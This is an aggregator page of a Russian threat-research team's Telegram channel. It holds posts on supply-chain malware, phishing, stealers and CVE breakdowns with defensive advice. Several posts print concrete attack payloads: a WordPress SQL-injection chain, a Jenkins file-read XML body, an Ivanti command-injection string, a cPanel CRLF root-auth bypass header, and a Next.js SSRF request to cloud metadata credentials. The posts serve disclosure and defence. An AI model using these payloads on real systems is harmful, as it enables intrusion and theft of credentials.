uz
Feedback
Четыре луча

Четыре луча

Kanalga Telegram’da o‘tish

Облучаем экспертизой Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec Блог: https://rt-solar.ru/solar-4rays/blog/

Ko'proq ko'rsatish
4 029
Obunachilar
+224 soatlar
+17 kunlar
-230 kunlar

Ma'lumot yuklanmoqda...

Obunachilarni jalb qilish
Iyul '26
Iyul '26
+33
1 kanalda
Iyun '26
+30
1 kanalda
Get PRO
May '26
+42
0 kanalda
Get PRO
Aprel '26
+72
4 kanalda
Get PRO
Mart '26
+103
4 kanalda
Get PRO
Fevral '26
+85
2 kanalda
Get PRO
Yanvar '26
+97
0 kanalda
Get PRO
Dekabr '25
+70
1 kanalda
Get PRO
Noyabr '25
+720
0 kanalda
Get PRO
Oktabr '25
+308
1 kanalda
Get PRO
Sentabr '25
+301
0 kanalda
Get PRO
Avgust '25
+391
0 kanalda
Get PRO
Iyul '25
+342
7 kanalda
Get PRO
Iyun '25
+201
2 kanalda
Get PRO
May '25
+1 240
1 kanalda
Get PRO
Aprel '25
+377
2 kanalda
Get PRO
Mart '25
+464
17 kanalda
Get PRO
Fevral '25
+191
2 kanalda
Get PRO
Yanvar '25
+111
1 kanalda
Get PRO
Dekabr '24
+115
1 kanalda
Get PRO
Noyabr '24
+646
5 kanalda
Sana
Obunachilarni jalb qilish
Esdaliklar
Kanallar
29 Iyul+2
28 Iyul+1
27 Iyul+1
26 Iyul0
25 Iyul0
24 Iyul+1
23 Iyul+4
22 Iyul+1
21 Iyul+4
20 Iyul+2
19 Iyul0
18 Iyul0
17 Iyul0
16 Iyul+3
15 Iyul0
14 Iyul0
13 Iyul+1
12 Iyul+1
11 Iyul0
10 Iyul+1
09 Iyul+1
08 Iyul+1
07 Iyul+3
06 Iyul+1
05 Iyul0
04 Iyul+2
03 Iyul0
02 Iyul+1
01 Iyul+2
Kanal postlari
👀 Иногда npm install — это начало атаки Вредоносный файл не обязательно выглядит как странный архив с названием virus_final.exe или фишинговое письмо, пришедшее вам на почту. Бывает, что это обычная библиотека, SDK, плагин или консольная утилита, которую разработчик устанавливает привычной командой npm install или pip install. Например, что подозрительного в таком package.json?

"scripts": {
  "fmt": "prettier --write **/*.js",
  "fmt:check": "prettier --check **/*.js",
  "postinstall": "node ./install.js",
  "preinstall": "node setup_bun.js"
},
"artifactDownloadUrl": "https://github.com/PostHog/posthog/releases/download/posthog-cli-v0.5.14",
"bin": {
  "posthog-cli": "run-posthog-cli.js"
}
Неискушенный читатель подумает, что это обычный cli-проект, но именно такой preinstall в одном из пакетов начнёт масштабную supply-chain-кампанию — Shai-Hulud 2.0. Злоумышленники скомпрометировали аккаунты мейнтейнеров и опубликовали троянизированные версии популярных npm-пакетов. Вредоносный код запускался автоматически еще до завершения установки, собирал секреты разработчиков, токены GitHub, npm и облачных сервисов, а затем использовал их для дальнейшего распространения атаки. В результате были затронуты сотни пакетов и тысячи репозиториев. Мы проанализировали сотни тысяч пакетов из npm и PyPI. Десятки тысяч образцов оказались вредоносными или подозрительными. Самая распространенная техника — запуск кода прямо во время установки зависимости. В новой статье собрали большой каталог реальных примеров из npm и PyPI, разобрали повторяющиеся техники и показали, на какие комбинации признаков стоит писать правила детекта. Читайте полный обзор open-source-вредоносов 🫡

2
wp2shell — разбираем от и до. Это цепочка уязвимостей, которая состоит из таких элементов: 📍 CVE-2026-63030 — уязвимость пут
wp2shell — разбираем от и до. Это цепочка уязвимостей, которая состоит из таких элементов: 📍 CVE-2026-63030 — уязвимость путаницы маршрутизации конечной точки пакетного REST API. CWE-436. 📍 CVE-2026-60137 — уязвимость внедрения SQL-кода (SQL-инъекция). CWE-89. wp2shell позволяет неавторизованному злоумышленнику выполнить произвольный код (RCE) в СMS Wordpress. Затронутые версии: 6.8.0–6.8.5; 6.9.0–6.9.4; 7.0.0– 7.0.1. 🫡 Об уязвимости: Уязвимость находится в функции serve_batch_request_v1, которая обрабатывает пакетные запросы к /wp-json/batch/v1. Функция создает два массива для обработки входящих подзапросов: $requests[] (сами запросы) и $matches[] (найденные для них обработчики). Если путь одного из подзапросов некорректный (например, http://), функция wp_parse_url() возвращает false. В этом случае в массив $validation[] записывается ошибка (WP_Error), но запись в массив $matches[] не происходит (через continue). Ниже показали часть уязвимого кода, полный код находится wp-includes/rest-api/class-wp-rest-server.php foreach ( $batch_request['requests'] as $args ) { $parsed_url = wp_parse_url( $args['path'] ); if ( false === $parsed_url ) { $requests[] = new WP_Error( 'parse_path_failed', __( 'Could not parse the path.' ), array( 'status' => 400 ) ); // запись ошибки для http:// continue; } $single_request = new WP_REST_Request( $args['method'] ?? 'POST', $parsed_url['path'] ); .... $matches = array(); $validation = array(); $has_error = false; foreach ( $requests as $single_request ) { if ( is_wp_error( $single_request ) ) { $has_error = true; $validation[] = $single_request; continue; // пропуск записи в $matches[] } Из-за continue массивы $requests и $matches рассинхронизируются по индексам. Это позволяет одному подзапросу получить обработчик, предназначенный для другого. Сдвиг индексов → Некорректный путь вызывает continue → Массивы $requests и $matches рассинхронизируются → Запросы получают чужие обработчики → Вложенный batch → Запрос /wp/v2/posts выполняется как batch → Внутри снова происходит сдвиг индексов → Запрос к /categories?author_exclude=SLEEP(2) получает обработчик /posts (скриншот) -> SQLi. Уязвимость SQLi author_exclude регистрируется как параметр типа array в get_collection_params(). В get_items() он мапится в author_not_in без проверки типа. Из-за путаницы маршрутов параметр передается как строка. WP_Query не санитизирует строковые значения. Строка попадает в SQL. if (is_array($query_vars['author__not_in'])) { $query_vars['author__not_in'] = array_map('absint', ...); // sanitize } $author__not_in = implode(',', (array) $query_vars['author__not_in']); $where .= " AND post_author NOT IN ($author__not_in) " 🫡 Возможные конечные точки: Запрос: – POST /wordpress/batch/v1 + тело запроса – POST /?rest_route=/batch/v1 + тело запроса – GET /?_method=POST&rest_route=/batch/v1&validation=normal + тело запроса SQLi - "path": "/wp/v2/<API> author_exclude=<SQLi> Пример одного из возможных запросов — на скриншоте. 🫡 Как защищаться: 1. Обновиться до версии 7.0.2. 2. Использовать WAF/IDS с настроенными правилами от SQLi. 3. Проверить систему на предмет подозрительных php-файлов. 4. Провести аудит запросов, где в качестве конечной точки или значения параметра выступал /batch/v1. 5. Временно ограничить доступ к /batch/v1 из внешней сети. 🫡 Ловите лабораторную — docker-compose.yml с уязвимым wordpress прикреплен к посту. Запуск docker-compose up.
1 052
3
🎣 По README встречают, по малвари провожают: как раскусить фейковый репозиторий за 10 секунд Злоумышленники вовсю паразитируют на теме блокировок и массовом поиске способов их обхода. Особенно достается популярному локальному tg-ws-proxy и аналогам. В некоторых поисковиках, например Яндексе, оригинальные ссылки временно удаляются и на самом верху выдачи образуется вакуум. Его моментально заполняют свежие вредоносные клоны, которые не успели попасть в бан-листы. 💡 Отдельная ловушка — сторонние зеркала GitHub. Пользователи доверяют им по инерции, но под капотом скачиваемого архива вполне может оказаться вредоносное ПО, которое в свою очередь умеет подчистую пылесосить не только сессии ваших браузеров, но и собирать важные файлы по конкретным расширениям. Внешне подделка выглядит органично: мошенники подчистую копируют оформление README.md, сохраняют оригинальную верстку и даже реквизиты для донатов настоящему автору. Расчет идет исключительно на невнимательность и машинальные действия. Чек-лист: 4 главных маркера фейка, которые выдадут его целиком и полностью 1️⃣ Возраст аккаунта: профиль «разработчика» обычно зарегистрирован пару недель назад. 2️⃣ История коммитов: вместо нормальной истории изменений весь код заливается за один раз через веб-интерфейс с унылой заглушкой Add files via upload. 3️⃣ Мертвая социальная активность: у клонов на счетчиках звезд и форков горят нули, а вкладка Issues (проблемы/обсуждения) часто отключена. 4️⃣ Инструкции: в README прямым текстом просят отключить антивирус или добавить папку в исключения Windows Defender, списывая на «ложное срабатывание из-за функционала». Никогда так не делайте, если не провели аудит кода лично. Подробный разбор этой схемы и полный чек-лист безопасности читайте в нашей новой статье 🫡
1 466
4
Финальный опрос: какой профиль — не фейк?
1 299
5
А тут что скажете?+2
А тут что скажете?
1 210
6
Вопрос тот же: какой репозиторий настоящий?
1 296
7
Так, это было слишком легко. Давайте чуть-чуть посложнее — новые скриншоты. Отвечайте в опросе ниже.+1
Так, это было слишком легко. Давайте чуть-чуть посложнее — новые скриншоты. Отвечайте в опросе ниже.
1 265
8
Какой из репозиториев выше настоящий?
1 288
9
Предлагаем потренироваться — попробуйте раскусить фейковые репозитории и найти настоящие. Начнем прямо сейчас: ловите скриншо+1
Предлагаем потренироваться — попробуйте раскусить фейковые репозитории и найти настоящие. Начнем прямо сейчас: ловите скриншоты из первого задания 🫡
1 422
10
Santa Stealer: стилер, который ворует у своих При расследовании атаки на промышленную компанию мы выявили инфостилер Santa Stealer. Вредонос работает по бестелесной модели: первичный загрузчик расшифровывает и запускает основную полезную нагрузку исключительно в оперативной памяти. Исполняемый файл не сохраняется на жесткий диск — это оставляет минимум артефактов для защитных систем. При этом Santa Stealer угрожает не только частным пользователям. Вредонос целенаправленно ищет доступы к корпоративной инфраструктуре: он собирает конфигурации VPN-клиентов, сессии облачных платформ, базы менеджеров паролей и данные инструментов удаленного доступа. 🫡 Подробности — в нашей новой статье.
2 263
11
ProxyCB — ботнет-долгожитель При расследовании автоматизированной активности в инфраструктуре заказчика удалось выйти на C2-ботнета, веб-панель, бинарный административный протокол и серверное ядро PCBServer 7. ProxyCB существует почти 15 лет и сейчас работает как сеть зараженных прокси-узлов, ориентированная на российский сегмент. Наблюдения показывают, что его C2-инфраструктура находится в РФ, а боты много лет заражают преимущественно российские устройства. 👀 Подробности — в новой статье.
2 385
12
/etc/passwd за второй столик CVE-2026-53435 — уязвимость десериализации, которая позволяет авторизованному пользователю читат+1
/etc/passwd за второй столик CVE-2026-53435 — уязвимость десериализации, которая позволяет авторизованному пользователю читать произвольные файлы в Jenkins в версиях до 2.567 и LTS до 2.555.2. 🫡 Метрики: Base Score: 8.8 HIGH CWE: CWE-502 🫡 Об уязвимости: Для эксплуатации уязвимости злоумышленнику необходимы права Overall/Read, а также как минимум одно из следующих прав: 💡 Item/Configure — чтобы редактировать существующее задание или представлять через POST /config.xml; 💡 View/Configure — чтобы создавать новое представление через POST /createView; 💡 Agent/Configure — чтобы настраивать агентов (если атака идет через агента). Шаг 1. Обход фильтрации Jenkins использует XStream для десериализации XML-конфигураций и применяет фильтр ClassFilter (реализация JEP-200), который разрешает создавать только классы из ядра Jenkins или установленных плагинов. Уязвимость позволяет обойти эту защиту, используя разрешенные классы в качестве «гаджетов». Так, например, в публичном эксплойте используется класс hudson.Plugin$DummyImpl из ядра Jenkins. C внедренным в <properties> гаджетом: <hudson.Plugin_-DummyImpl> <wrapper class="hudson.PluginWrapper"> <baseResourceURL>file:/</baseResourceURL> </wrapper> </hudson.Plugin_-DummyImpl> Шаг 2. Чтение файла Stapler — это Java-фреймворк, который связывает объекты Java-кода с URL-адресами. BaseResourceURL обычно относится к путям, используемым Stapler для загрузки статических ресурсов (картинок, стилей, JS-файлов) из плагинов или ядра Jenkins. Подставив в baseResourceURL конструкцию file:/, атакующий получает доступ к корню файловой системы сервера. 🫡 Пример тела запроса: <?xml version='1.1' encoding='UTF-8'?><hudson.model.ListView><name>all</name><properties><hudson.Plugin_-DummyImpl><wrapper class="hudson.PluginWrapper"><baseResourceURL>file:/</baseResourceURL></wrapper></hudson.Plugin_-DummyImpl></properties><jobNames class="tree-set"><comparator class="hudson.util.CaseInsensitiveComparator"/></jobNames><jobFilters/><columns/><recurse>false</recurse></hudson.model.ListView> 🫡 Конечные точки: /createView — конечная точка для создания нового представления. Пример на скриншоте 1. /config.xml — конечная точка для редактирования уже имеющегося представления. Пример на скриншоте 2. /view/{ViewName}/properties/0/{file} — конечная точка загрузки статических ресурсов, которая позволяет читать произвольные файлы. 🫡 Как защищаться: 1) Обновиться. 2) Проверить логи сервера на наличие обращений к /view/{ViewName}/properties/0/{file}, где вместо {file} передаются подозрительные файлы (например, /etc/passwd, конфиги, системные файлы). 3) Написать правила на IDS/WAF, блокирующие POST-запросы на /config.xml или /createView, содержащие <hudson.Plugin_-DummyImpl> <baseResourceURL>file:/</baseResourceURL>.
2 391
13
Ivanti Sentry RCE CVE-2026-10520 — уязвимость внедрения команд операционной системы в Ivanti Sentry до версий R10.5.2, R10.6.
Ivanti Sentry RCE CVE-2026-10520 — уязвимость внедрения команд операционной системы в Ivanti Sentry до версий R10.5.2, R10.6.2 и R10.7.1 позволяет удаленному неаутентифицированному пользователю выполнить удаленный код с правами root. 🫡 Метрики Base Score: 10.0 CRITICAL CWE: CWE-78 🫡 Об уязвимости Конечная точка: /mics/api/v2/sentry/mics-config/handleMessage Ввод пользователя передается в переменной message POST-запроса. Она попадает в метод handleMessage() класса ConfigServiceHandler.java, где разбивается на токены. Первое слово становится command, последующие — module, xpath, value. StringTokenizer tokenizer = new StringTokenizer(msg); if (tokenizer.hasMoreTokens()) { command = tokenizer.nextToken(); } if (tokenizer.hasMoreTokens()) { module = tokenizer.nextToken(); } if (tokenizer.hasMoreTokens()) { xpath = tokenizer.nextToken(); } …. while (tokenizer.hasMoreTokens()) { sb.append(tokenizer.nextToken()).append(" "); } value = sb.toString().trim() … response = this.handleMessage(module, xpath, command, value); Далее в handlerMessage() в зависимости от command выбирается какой путь обработки использовать. switch (ConfigCommand.getCommand(command)) { … case EXECUTE: response = reqProcessor.handleExecute(xpath, value); break; … return response; } Если command равна execute, выполнение переходит в ветку EXECUTE. Есть и другие ветки: TEST, GETLIST. Метод handleExecute(xpath, value) в конечном итоге передает данные, которые контролирует пользователь (из message), в функцию executeNativeCommand(). … XmlObject[] tmpObjList = this.getXmlObjectsForXPath(xpath, value); … Object nativeResp = CommonUtilities.executeNativeCommand(this.handler.getNativeModule(), tmpObjType, "Execute"); executeNativeCommand() Читает из XML имя класса и имя метода через getClassname() и getExecutemethod() Выполняет код через excuteModuleMethod() String implClsName = obj.getClass().getName(); String methodType = "get" + type + "method"; Method method = ReflectionUtilities.getMethod(implClsName, methodType); XmlAnySimpleType getMethodName = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]); method = ReflectionUtilities.getMethod(implClsName, "getClassname"); XmlAnySimpleType className = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]); method = ReflectionUtilities.getMethod(implClsName, "getBeanclass"); XmlAnySimpleType beanClass = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]); Object excuteModuleMethod = ReflectionUtilities.excuteModuleMethod( className.getStringValue(), getMethodName.getStringValue(), beanClass.getStringValue(), obj ) 🫡 Результат Эта функция выполняет полученную строку как команду в оболочке операционной системы с максимальными привилегиями (root) 🫡 Пример execute system /configuration/system/commandexec <commandexec><index>1</index><reqandres>uname -a</reqandres></commandexec> execute — command system — module /configuration/system/commandexec — xpath Оставшаяся часть — value, пример запроса на скриншоте. 🫡 Как защищаться 1) Обновиться. 2) Проверит логи сервера на POST-запросы к /mics/api/v2/sentry/mics-config/handleMessage. 3) Правила WAF/IDS на блокировку POST-запросов к /mics/api/v2/sentry/mics-config/handleMessage где в параметре message приедается строка execute, <commandexec> , system и тд.
1 655
14
Приходите на наш онлайн-практикум про использование киберразведки в SOC! Завтра в 12:00 по Москве наши эксперты по охоте за у
Приходите на наш онлайн-практикум про использование киберразведки в SOC! Завтра в 12:00 по Москве наши эксперты по охоте за угрозами проведут практикум. Мы на реальных примерах покажем, как качественная киберразведка ускоряет детектирование сложных киберугроз на уровне SOC. Что расскажем: 🫡 как поймали змея за хвост в организации, где он сидел незамеченным 1,5 года; 🫡 как обнаружили, что сотрудники установили хакерские инструменты в обход политик безопасности компании; 🫡 как с помощью киберразведки обнаруживать и блокировать DNS-туннели, вредоносы, которые используют DGA, и скрипты, применяющие DNS Rebinding. Это лишь небольшая часть того, что наша команда приготовила для практикума. Если в SOC вы отвечаете за эффективность, то регистрируйтесь — будет много пользы.
2 159
15
Не делай добра, не получишь зла Представьте, что вам пришло сообщение: Привет Боря, поставь за Машу голос в конкурсе рисунков+3
Не делай добра, не получишь зла Представьте, что вам пришло сообщение: Привет Боря, поставь за Машу голос в конкурсе рисунков. Внутри ссылка на конкурс и просьба распространить информацию среди друзей. Вроде обычная просьба или здесь что-то не так? 🫡 Схема Сначала пользователя ведут на страницу «благотворительного конкурса детского рисунка». Карточки с детьми, кнопки «Проголосовать», блоки с наградами. Всё выглядит органично. Единственный нюанс: голос нужно «подтвердить через Telegram» — якобы «во избежание подтасовки и мошенничества». Это классический прием: человека заранее приучают к мысли, что авторизация через мессенджер — нормальная и нужная часть процесса. После нажатия кнопки открывается страница с логотипом Telegram, формой ввода номера и подписью «Система проверки голосов». Но в адресной строке видно главное — это не Telegram, а всё тот же сторонний домен. Перед нами не реальная авторизация, а фишинговая прокладка, которая выманивает данные или код подтверждения. 🫡 Инфраструктура Несколько характерных признаков указывают, что это не одноразовый лендинг: ✅ URL у разных жертв различаются, но в путях повторяются шаблоны: /ru-smile/*, /ru-color/*, /ru-future/* — признак кластера фишинговых посадочных страниц. ✅ Злоумышленники зарегистрировали огромное количество доменов вида radost-teatr.com.tr, hope-ink.lol, mirrisunkov.cyou, deti-artvision.shop (ищите полный список в комментариях). ✅ Большая часть ссылок находится на поддоменах, в качестве которых используются случайные английские слова вроде its, instead, six и т.д. ✅ Поведение ссылок нестабильно: одна и та же ссылка может вернуть фишинговую страницу, редирект на Google или HTTP/2 400 от Cloudflare в зависимости от пользовательского окружения. Это может быть фильтрация по устройству, окружению, «качеству» трафика или другим признакам. В одном из ответов бэкенд подставлял строку [No Host] — признак сломанной серверной логики или фильтрации трафика. ✅ Домены работают короткое время и иногда снова «оживают» — типичное поведение временной быстро пересобираемой инфраструктуры. 🫡 Итог Схема строится на трех слоях: доверие к знакомому аккаунту → эмоциональный триггер («ребенок», «конкурс», «помоги») → техническая развилка на стороне сервера. Жертва ошибается не в том, что переходит по ссылке — а в том, что вводит номер и код на странице, которая лишь притворяется Telegram. Это не «одна плохая ссылка» — это живая и управляемая схема.
2 337
16
Обновите Next.js Vercel опубликовала масштабное обновление безопасности для Next.js, которое закрывает более десяти уязвимостей. Среди них — отказ в обслуживании (DoS), обход middleware, подделка серверных запросов (SSRF) и межсайтовый скриптинг (XSS). Проблемы присутствуют в версиях с 13.x по 16.x (с App Router) и в пакетах React Server Components 19.x. Кратко опишем часть уязвимостей, получивших CVE-идентификатор 🫡 CVE-2026-23870 (CWE-674, CVSS -7,5) App Router вызывает серверные действия через POST-запросы к тому же URL, что и RSC-страница с заголовком Next-Action: <ACTION_ID>. Тело запроса — сериализованный RSC-ответ, передаваемый в decodeReply()/decodeAction() из React. Ранее парсер React при гидратации (Hydration) ссылок ($<n>, $Sym$Iterator, $F.bind и т.п.) не ограничивал глубину обхода графа и не проверял циклы. В результате тело POST- запроса, например: 0:{"a":"$1"} 1:{"b":"$2"} 2:{"c":"$3"} ... N:{"end":"$0"} Может привести к DoS из-за исчерпания ресурсов процессора. 🫡 CVE-2026-44573 (CWE-863, CVSS – 7,5)   В Next.js с Pages Router и включенной интернационализацией (i18n) фреймворк предоставляет JSON-варианты страниц по двум типам адресов: 1️⃣ /_next/data/<buildId>/<locale>/<page>.json — публичная форма с локалью; 2️⃣ /_next/data/<buildId>/<page>.json — внутренняя форма без локали. Регулярные выражения middleware некорректно обрабатывают URL-адреса данных: они распознают префикс _next/data, но не покрывают все варианты префикса локали. В результате злоумышленник может запросить _next/data с отсутствующей или неверной локалью (или вообще без локали), и запрос достигнет обработчика страниц без перенаправления и проверки middleware. Пример: GET  /_next/data/<buildId>/secret.json 🫡 CVE-2026-44574 (CWE-693, CVSS-7,5) Уязвимость позволяет злоумышленнику обойти middleware и получить несанкционированный доступ к динамическим маршрутам (например, /admin/[slug]) путем внедрения специальных внутренних параметров запроса (nxtP*, nxtI*), которым доверяет App Router, но которые игнорирует middleware. Пример : GET /safe?nxtPslug=admin-only-page&__NEXT_PRIVATE_NO_MIDDLEWARE_RUN=1   🫡 CVE-2026-44578 (CWE-918, CVSS - 8.6) Автономный сервер Next.js автоматически перенаправлял любые HTTP-запросы с заголовком Upgrade (например, Upgrade: websocket) без проверки, предназначен ли этот маршрут для обработки таких соединений. Это позволяло злоумышленнику через абсолютный URL или поддельный Host-заголовок заставить сервер Next.js установить произвольное TCP-соединение с любым хостом и портом, доступным из внутренней сети сервера. Пример: GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1 Host: 127.0.0.1:3000 Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Version: 13 🫡 CVE-2026-44581 (Severity- High, CWE-79) App Router из Next.js извлекает CSP-nonce из Content-Security-Policy заголовка запроса и дублирует его на встроенные <script nonce="..."> элементы (загрузочная информация Flight, метаданные, вставляемые сервером и т. д.), чтобы браузер разрешил их выполнение. Пример: Content-Security-Policy: script-src 'nonce-" onerror="alert(1)' 🫡 CVE-2026-44582 (CVSS -5,9, CWE-328) App Router в Next.js добавляет ?_rsc=<hash> параметр запроса к RSC-запросам, чтобы CDN, использующие URL-адрес в качестве ключа (а не заголовок RSC: 1запроса), не могли объединять различные варианты полезной нагрузки в одну запись кэша. Хеш-функция представляла собой усеченную 32-битную смесь в стиле MurmurHash (computeLegacyCacheBustingSearchParam), имея всего около 4 миллиардов возможных сегментов и четыре переменных входных параметра. Другие уязвимости подробнее описаны здесь.
1 874
17
CRLF в cPanel CVE-2026–41940 — уязвимость обхода авторизации, которая приводит к выполнению удаленного кода (RCE) в cPanel и WHM версиях после 11.40. 🫡 Метрики Base Score: 9.8 CRITICALCWE: CWE-306 🫡 Кратко об уязвимости При авторизации пользователя не важно, будет она успешной или нет, сервер создает файл авторизации на диске и ответит заголовком похожим на: powershellSet-Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa; Wg_mjzgt1hyfXefK — первая часть значения cookie указывает на файл авторизации. Вторая часть 1bd3d4bf5ecbf83b660789ab0f3198fa — это хеш-обфускации для каждой сессии. if ($encoder && length $session_ref->{'pass'}) { local $session_ref->{'pass'} = $encoder->encode_data($session_ref->{'pass'}); 🫡 Части цепочки 1️⃣ }$encoder — значение получено на основании хэша обфускации. Если оно будет пустым, например Wg_mjzgt1hyfXefK, то условие вернет false и данные не закодируются. 2️⃣ Значение заголовка Authorization не очищаются должным образом и пропускают CRLF-инъекцию, позволяющую записать новые данные в файл авторизации. 3️⃣ После того как данные попали в файл сессии, нужно перезаписать их в файле кеша, который cPanel использует для авторизации. Для этого используется запрос, который вызовет функцию do_token_denied, например в эксплойтах это GET /scripts2/listaccts. 4️⃣ Установка successful_internal_auth_with_timestamp значения в заголовке Authorization необходима для пропуска проверки пароля. 🫡 Пример нагрузки после декодирования из Base64 shellroot:x successful_internal_auth_with_timestamp=9999999999 user=root tfa_verified=1 hasroot=1 🫡 Пример CRLF-запроса GET / HTTP/1.1 Host: target.com:2087 Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_ 🫡 Как защищаться 1) Обновиться. 2) Проверить логи сервера на цепочку запросов с минимальным временным промежутком POST /login/?login_only=1 -> GET / c заголовком Authorization -> GET /scripts2/listaccts. 3) Проверить недавно созданные сессионные файлы. 4) Правила на WAF/IDS, блокирующие запросы с неполным whostmgrsession заголовком (отсутствие хеш-обфускации), и Authorization, содержащим символы \r\n после декодирования из base64.
1 813